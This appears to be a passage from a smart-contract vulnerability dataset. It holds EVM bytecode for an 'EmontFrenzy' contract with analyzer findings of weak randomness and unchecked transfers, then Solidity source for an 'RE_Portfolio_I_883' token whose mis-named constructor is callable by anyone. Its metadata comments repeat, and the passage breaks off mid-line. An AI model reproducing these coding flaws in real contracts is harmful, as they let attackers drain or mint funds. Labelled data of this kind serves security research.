919050506110f0565b005b341561057e57600080fd5b61058661120e565b6040518082815260200191505060405180910390f35b34156105a757600080fd5b6105af611216565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105fc57600080fd5b610631600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061123c565b005b341561063e57600080fd5b6106466114d3565b6040518082815260200191505060405180910390f35b341561066757600080fd5b61066f6114d9565b6040518082815260200191505060405180910390f35b341561069057600080fd5b6106a660048080359060200190919050506114df565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106f357600080fd5b6106fb61153b565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b610748600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611541565b005b341561075557600080fd5b610781600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611681565b6040518082815260200191505060405180910390f35b34156107a257600080fd5b6107c160048080359060200190919080359060200190919050506116f3565b005b34156107ce57600080fd5b6107ed6004808035906020019091908035906020019091905050611e43565b604051808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390f35b61084c611f34565b005b341561085957600080fd5b61086161211a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108ae57600080fd5b6108cd600480803590602001909190803590602001909190505061213f565b005b34156108da57600080fd5b6108e2612211565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610922578082015181840152602081019050610907565b50505050905090810190601f16801561094f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561096857600080fd5b610994600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061224a565b6040518082815260200191505060405180910390f35b34156109b557600080fd5b6109ea600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612293565b005b34156109f757600080fd5b6109ff612564565b6040518082815260200191505060405180910390f35b3415610a2057600080fd5b610a36600480803590602001909190505061256a565b005b3415610a4357600080fd5b610a78600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061282f565b005b3415610a8557600080fd5b610aa46004808035906020019091908035906020019091905050612a3a565b005b3415610ab157600080fd5b610ac76004808035906020019091905050612b54565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b3415610b2257600080fd5b610b2a612c06565b6040518082815260200191505060405180910390f35b3415610b4b57600080fd5b610b77600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612c0b565b005b3415610b8457600080fd5b610b9a6004808035906020019091905050612d4c565b6040518082815260200191505060405180910390f35b3415610bbb57600080fd5b610bc3612d69565b6040518082815260200191505060405180910390f35b3415610be457600080fd5b610bec612d6f565b604051808381526020018281526020019250505060405180910390f35b3415610c1457600080fd5b610c2a6004808035906020019091905050612dea565b6040518082815260200191505060405180910390f35b3415610c4b57600080fd5b610c53612e17565b6040518082815260200191505060405180910390f35b3415610c7457600080fd5b610c8a6004808035906020019091905050612e1d565b005b3415610c9757600080fd5b610cb66004808035906020019091908035906020019091905050612edd565b6040518082815260200191505060405180910390f35b3415610cd757600080fd5b610ced6004808035906020019091905050612efd565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b3415610d4857600080fd5b610d50612f67565b604051808215151515815260200191505060405180910390f35b3415610d7557600080fd5b610da1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612f7a565b005b3415610dae57600080fd5b610db661304f565b005b3415610dc357600080fd5b610def600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506133ad565b604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018215151515815260200194505050505060405180910390f35b3415610e5557600080fd5b610e5d613456565b6040518082815260200191505060405180910390f35b600c5481565b6040805190810160405280600b81526020017f456d6f6e744672656e7a7900000000000000000000000000000000000000000081525081565b60016020528060005260406000206000915054906101000a900460ff1681565b6000601254905090565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f8d575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610f9857600080fd5b856005819055508460068190555083600781905550826008819055508160098190555080600a81905550600a54601402600c81905550505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103157600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600060116000838152602001908152602001600020549050919050565b600060149054906101000a900461ffff1681565b600080600080600d60008663ffffffff16815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600101548260020160009054906101000a900460ff16935093509350509193909250565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061119b575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156111a657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318111156111ca57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561120a57600080fd5b5050565b6305f5e10081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112ea575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156112f557600080fd5b6064600954840281151561130557fe5b0491506006548214151561131857600080fd5b6000600d6000601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815260200190815260200160002060010154111561137b57600080fd5b6001601260008282540192505081905550600d600060125481526020019081526020016000209050838160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654816001018190555060008160020160006101000a81548160ff021916908315150217905550601254601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145f600354612dea565b6003819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012546040518082815260200191505060405180910390a350505050565b6101fe81565b60125481565b600080600d60008481526020019081526020016000209050600081600101541115611530578060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150611535565b600091505b50919050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159c57600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561167e5760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b600080600d6000601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481526020019081526020016000206001015411156116e957600190506116ee565b600090505b919050565b600080600080600080600260009054906101000a900460ff1615151561171857600080fd5b600c54871015801561172a5750868814155b1561173457600080fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549550600d6000878152602001908152602001600020945060008560010154141561179d57600080fd5b8460020160009054906101000a900460ff161580156117be57506101fe8814155b156117c857600080fd5b8460020160009054906101000a900460ff1680156117f9575085600e60008a81526020019081526020016000205414155b1561180357600080fd5b61182560148981151561181257fe5b0460148981151561181f57fe5b04612edd565b935061184960148981151561183657fe5b0660148981151561184357fe5b06612edd565b9250601160006305f5e100876001015481151561186257fe5b048152602001908152602001600020549150600082141561188357600b5491505b8183840285860201111561189657600080fd5b6000600e60008a8152602001908152602001600020819055506101fe881415156119095760648560010154600754028115156118ce57fe5b04935083600f60008a815260200190815260200160002060008282540192505081905550838560010160008282540392505081905550611927565b60018560020160006101000a81548160ff0219169083151502179055505b6101fe8714156119bd5760008560020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f0a4f6de26755798436390daf3719fe42b9f04c44b2fe0625de4342e1e2459a10878a8a89600101546040518085815260200184815260200183815260200182815260200194505050505060405180910390a2611e39565b600e60008881526020019081526020016000205493506000841415611abe576000600f6000898152602001908152602001600020541115611a3757600f60008881526020019081526020016000205485600101600082825401925050819055506000600f6000898152602001908152602001600020819055505b3373ffffffffffffffffffffffffffffffffffffffff167f0a4f6de26755798436390daf3719fe42b9f04c44b2fe0625de4342e1e2459a10878a8a89600101546040518085815260200184815260200183815260200182815260200194505050505060405180910390a285600e600089815260200190815260200160002081905550611e38565b6101fe881415611acd57600080fd5b600d6000858152602001908152602001600020905084600101548160010154111515611c6757806001015485600101600082825401925050819055506000816001018190555085600e6000898152602001908152602001600020819055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc15f52570a93e125c446dad9d62b70661ca12a0f34b6b4fe6375284706576c4f88878c8c8b60010154604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611e37565b611c72600354612dea565b6003819055506001600c5403600354811515611c8a57fe5b0692506101fe831415611c9e576001830192505b6002856001015402600f6000858152602001908152602001600020819055507f8711a2393e2fe98769f70ccbd7a1a0f7db5582a113e5645a5ef1e637f3eee0e2836002876001015402604051808381526020018281526020019250505060405180910390a184600101548160010160008282540392505081905550600085600101819055508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fca1dfeb0fb285992538d0b85b07f749d9c530b608237c5aca0726b3ee383509f88878c8c8760010154604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b5b5b5050505050505050565b6000806000806000808791505b8682111515611f28576000600e6000848152602001908152602001600020541115611ed957600e6000838152602001908152602001600020549450600d6000868152602001908152602001600020905081858260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600101549550955095509550611f29565b6000600f6000848152602001908152602001600020541115611f1d5781600080600f6000868152602001908152602001600020548292509550955095509550611f29565b600182019150611e50565b5b505092959194509250565b6000600260009054906101000a900460ff16151515611f5257600080fd5b60055434141515611f6257600080fd5b6000600d6000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548152602001908152602001600020600101541115611fc557600080fd5b6001601260008282540192505081905550600d600060125481526020019081526020016000209050338160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654816001018190555060008160020160006101000a81548160ff021916908315150217905550601254601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a9600354612dea565b6003819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012546040518082815260200191505060405180910390a350565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806121ea575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156121f557600080fd5b8060116000848152602001908152602001600020819055505050565b6040805190810160405280600581526020017f454d4f4e4600000000000000000000000000000000000000000000000000000081525081565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612340575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561234b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156123a957600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561247157600080fd5b6102c65a03f1151561248257600080fd5b5050506040518051905082111561249857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561254357600080fd5b6102c65a03f1151561255457600080fd5b5050506040518051905050505050565b600a5481565b6000806000600260009054906101000a900460ff1615151561258b57600080fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250600d600084815260200190815260200160002091506006548401826001015410156125f757600080fd5b838260010160008282540392505081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156126d157600080fd5b6102c65a03f115156126e257600080fd5b505050604051805190508411156126f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336064600854880281151561272557fe5b046000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156127b357600080fd5b6102c65a03f115156127c457600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff167f34f1b4b50ab1fe8066f90e4b650517b54750c5450d115a4ca83183ba27d69b48848460010154604051808381526020018281526020019250505060405180910390a250505050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561286e57600080fd5b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600d6000838152602001908152602001600020905060008214806128d8575060008160010154145b806128e35750828214155b156128ed57600080fd5b60006128f885611681565b111561290357600080fd5b838160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ae5575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515612af057600080fd5b80600f6000848152602001908152602001600020600082825401925050819055507f8711a2393e2fe98769f70ccbd7a1a0f7db5582a113e5645a5ef1e637f3eee0e28282604051808381526020018281526020019250505060405180910390a15050565b60008060008060008591505b60125482111515612beb57600d6000838152602001908152602001600020905060008160010154118015612ba357508060020160009054906101000a900460ff16155b15612bde57818160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260010154945094509450612bfd565b8180600101925050612b60565b60008060008292508090509450945094505b50509193909250565b601481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c6657600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415612d49576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b6000600e6000838152602001908152602001600020549050919050565b60075481565b600080600080925060009150600090505b6014600a5402811015612de5576000600e6000838152602001908152602001600020541115612db457600183019250612dd8565b6000600f6000838152602001908152602001600020541115612dd7576001820191505b5b8080600101915050612d80565b509091565b60008142446040518083815260200182815260200192505050604051809103902060019004189050919050565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ec8575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515612ed357600080fd5b80600b8190555050565b600081831115612ef1578183039050612ef7565b82820390505b92915050565b600080600080600e6000868152602001908152602001600020549350600d60008581526020019081526020016000209050838160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260010154935093509350509193909250565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612fd557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561304c57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806130fa575060011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561310557600080fd5b6109c4601160008081526020019081526020016000208190555061038460116000600181526020019081526020016000208190555061019060116000600281526020019081526020016000208190555060e1601160006003815260200190815260200160002081905550609060116000600481526020019081526020016000208190555060516011600060058152602001908152602001600020819055506031601160006006815260200190815260200160002081905550603160116000600781526020019081526020016000208190555060246011600060088152602001908152602001600020819055506024601160006009815260200190815260200160002081905550602460116000600a815260200190815260200160002081905550601960116000600b815260200190815260200160002081905550601960116000600c815260200190815260200160002081905550601960116000600d815260200190815260200160002081905550601960116000600e815260200190815260200160002081905550601060116000600f8152602001908152602001600020819055506010601160006010815260200190815260200160002081905550601060116000601181526020019081526020016000208190555060106011600060128152602001908152602001600020819055506010601160006013815260200190815260200160002081905550600960116000601481526020019081526020016000208190555060096011600060158152602001908152602001600020819055506009601160006016815260200190815260200160002081905550600960116000601781526020019081526020016000208190555060096011600060188152602001908152602001600020819055506009601160006019815260200190815260200160002081905550565b6000806000806000601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549450600d600086815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350806001015492508060020160009054906101000a900460ff169150509193509193565b600654815600a165627a7a723058206c406328c6f2d09cef94851ce0a80164f53acbea30373363958c4278ed71fabe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,013
0x638e6355e9061e7c28ea5a0f96953922247b2896
pragma solidity ^0.4.21 ; contract RE_Portfolio_I_883 { mapping (address => uint256) public balanceOf; string public name = " RE_Portfolio_I_883 " ; string public symbol = " RE883I " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1591676265575320000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender&#39;s balance balanceOf[to] += value; // add to recipient&#39;s balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d&#39;&#233;mission - Lignes 1 &#224; 10 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_I_metadata_line_1_____AA_Euler_Hermes_SA_AAm_20250515 > // < MGR3m39Pcxxd38Tw15eOSc39puzA1XdnMjO1JHMf02oDPoLqwPr22COs40XkOvAt > // < 1E-018 limites [ 1E-018 ; 23466777,8761341 ] > // < 0x000000000000000000000000000000000000000000000000000000008BDF780F > // < RE_Portfolio_I_metadata_line_2_____AA_Euler_Hermes_SA_AAm_20250515 > // < 14uzr4et42wJvn10409D50cNoG5ATiJYs1gG2UdU9Pk0rzU7se3540s6BZVu2h41 > // < 1E-018 limites [ 23466777,8761341 ; 37807926,3543451 ] > // < 0x0000000000000000000000000000000000000000000000008BDF780FE15A532F > // < RE_Portfolio_I_metadata_line_3_____Abu_Dhabi_National_Insurance_Co__PSC__Am_m_20250515 > // < 54ARHxYNL41UCnnZb6B3h2bVq2qJXGuHo3EtaO78elTemh7NFet0oNmsmiEUQ8FK > // < 1E-018 limites [ 37807926,3543451 ; 73081950,0897789 ] > // < 0x00000000000000000000000000000000000000000000000E15A532F1B39A36B4 > // < RE_Portfolio_I_metadata_line_7_____Ace_Group_of_Companies_20250515 > // < MGR3m39Pcxxd38Tw15eOSc39puzA1XdnMjO1JHMf02oDPoLqwPr22COs40XkOvAt > // < 1E-018 limites [ 73081950,0897789 ; 134176053,834668 ] > // < 0x00000000000000000000000000000000000000000000001B39A36B431FC06AFB > // < RE_Portfolio_I_metadata_line_8_____Ace_Group_of_Companies_20250515 > // < I69v5ClJ4b14E3l6RfmXqI8035jUy46Qc7lNQhL7B80LQ8ZZ5phVPAxe4laZyyn0 > // < 1E-018 limites [ 277969870,344396 ; 294602007,09604 ] > // < 0x000000000000000000000000000000000000000000000031FC06AFB44E3A6C93 > // < RE_Portfolio_I_metadata_line_6_____ACE_European_Group_Limited_AA_App_20250515 > // < uirf25wA9t6VuCEU796GMdLF8wIQfnoe58yp6cWocsg4Ajphu3RK3wZFT6qnY6Xu > // < 1E-018 limites [ 294602007,09604 ; 328167666,886427 ] > // < 0x000000000000000000000000000000000000000000000044E3A6C9361C5B96C1 > // < RE_Portfolio_I_metadata_line_10_____ACE_Tembest_Reinsurance_Limited__Chubb_Tembest_Reinsurance_Limited___m_App_20250515 > // < 89SsNu3CC9Qm4FTp1kDah1Aq0MU9WAADyG9ZuC0LsgMp3oD2Q8r6HVHs4Yzkd8Cy > // < 1E-018 limites [ 328167666,886427 ; 388131600,02045 ] > // < 0x000000000000000000000000000000000000000000000061C5B96C1678D45E8E > // < RE_Portfolio_I_metadata_line_8_____Ace_Group_of_Companies_20250515 > // < 5yuBsTtVr0Z2CDm4BcxDFZjk4BOT71d5dqd37aFqodjtHwXa59Nk7GB84GYKBB3B > // < 1E-018 limites [ 277969870,344396 ; 294602007,09604 ] > // < 0x0000000000000000000000000000000000000000000000678D45E8E6DBF6FEF9 > // < RE_Portfolio_I_metadata_line_9_____ACE_Limited_20250515 > // < h42QuYHXTu84f30rMj56ozR6nz0dHs3MkU2L12v1jcN21XEYEPeg1q42YcP38H88 > // < 1E-018 limites [ 294602007,09604 ; 328167666,886427 ] > // < 0x00000000000000000000000000000000000000000000006DBF6FEF97A40820D4 > // < RE_Portfolio_I_metadata_line_10_____ACE_Tembest_Reinsurance_Limited__Chubb_Tembest_Reinsurance_Limited___m_App_20250515 > // < SACtV58n2y34TUl56K58ISbV82AS3hJO5CLtS2N0lGk9ep2v28YvGl4O3cltv91h > // < 1E-018 limites [ 328167666,886427 ; 388131600,02045 ] > // < 0x00000000000000000000000000000000000000000000007A40820D490971D436 > // Programme d&#39;&#233;mission - Lignes 11 &#224; 20 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_I_metadata_line_11_____ACE_Tempest_Reinsurance_Limited_20250515 > // < 5VbH9L78M031ns1O5VbtzcQ8hrUI7q68arlr6O1m3y4eh0K5hghs0a3PW31jk74F > // < 1E-018 limites [ 388131600,02045 ; 415184250,130549 ] > // < 0x000000000000000000000000000000000000000000000090971D4369AAB0E5A9 > // < RE_Portfolio_I_metadata_line_12_____ACE_Tempest_Reinsurance_Limited_20250515 > // < efrCS1gj7F73u81xfD3x49jzpV4pd7AmARTQ7j222sWEO5tq6QH0vPaqAErZT4R1 > // < 1E-018 limites [ 415184250,130549 ; 451109181,358069 ] > // < 0x00000000000000000000000000000000000000000000009AAB0E5A9A80D1FDEB > // < RE_Portfolio_I_metadata_line_13_____Ace_Underwriting_Agencies_Limited_20250515 > // < QQ2HA8Vmr4fVf6W1ZR8cH8w95rM7FsVZq6844bB0RLhJr016n58zAJ84qx3Q30oa > // < 1E-018 limites [ 451109181,358069 ; 507141771,80459 ] > // < 0x0000000000000000000000000000000000000000000000A80D1FDEBBCECCF090 > // < RE_Portfolio_I_metadata_line_14_____ACR_Capital_20250515 > // < vfzNTP9749Iq8S01v0q140rptXqFa70NT563p8W838zbYyDiBzLzw83i49ZRZ7j1 > // < 1E-018 limites [ 507141771,80459 ; 574494906,22049 ] > // < 0x0000000000000000000000000000000000000000000000BCECCF090D6041AAB2 > // < RE_Portfolio_I_metadata_line_15_____ACR_Capital_Holdings_Pte_Limited_20250515 > // < JU10vasbp22K1TMryZwfd9810molwwdIt7GrdQjx1r7dQz4iGMbD369w8G3Ci1LI > // < 1E-018 limites [ 574494906,22049 ; 599550539,492484 ] > // < 0x0000000000000000000000000000000000000000000000D6041AAB2DF5998771 > // < RE_Portfolio_I_metadata_line_16_____ACR_ReTakaful_Berhad__ACR_ReTakaful__Bpp_20250515 > // < D6e0O4LsHeJGWTeNANkfM7Di30n4S6kCwD0boHWoqIoc9ur23Iqa7v8j2P7G472m > // < 1E-018 limites [ 599550539,492484 ; 626047205,336318 ] > // < 0x0000000000000000000000000000000000000000000000DF5998771E93883B89 > // < RE_Portfolio_I_metadata_line_17_____Advent_Underwriting_Limited_20250515 > // < ykd44EaA2mXrY45V868yDyE4z68ukFIj6cu2pYIfF0Z59tOa1zNyslM61y4D5qpg > // < 1E-018 limites [ 626047205,336318 ; 675225782,0429 ] > // < 0x0000000000000000000000000000000000000000000000E93883B89FB8A8C910 > // < RE_Portfolio_I_metadata_line_18_____Advent_Underwriting_Limited_20250515 > // < 6558YU905Wq4Ai14FyhWIdYdRf2DgnHAafQbML2xkRRp2MklQMkQku8UiC5lz804 > // < 1E-018 limites [ 675225782,0429 ; 756137595,825876 ] > // < 0x000000000000000000000000000000000000000000000FB8A8C910119AEE6A52 > // < RE_Portfolio_I_metadata_line_19_____Aegis_Managing_Agency_Limited_20250515 > // < Yg1Nz8XWGKZ5A865VzDjR1rn0T46L00wx5CJ2J579rkIb8UK5mHY7rj8DWOpmbxo > // < 1E-018 limites [ 756137595,825876 ; 798741625,876159 ] > // < 0x00000000000000000000000000000000000000000000119AEE6A521298DF018F > // < RE_Portfolio_I_metadata_line_20_____AEGIS_Managing_Agency_Limited_20250515 > // < 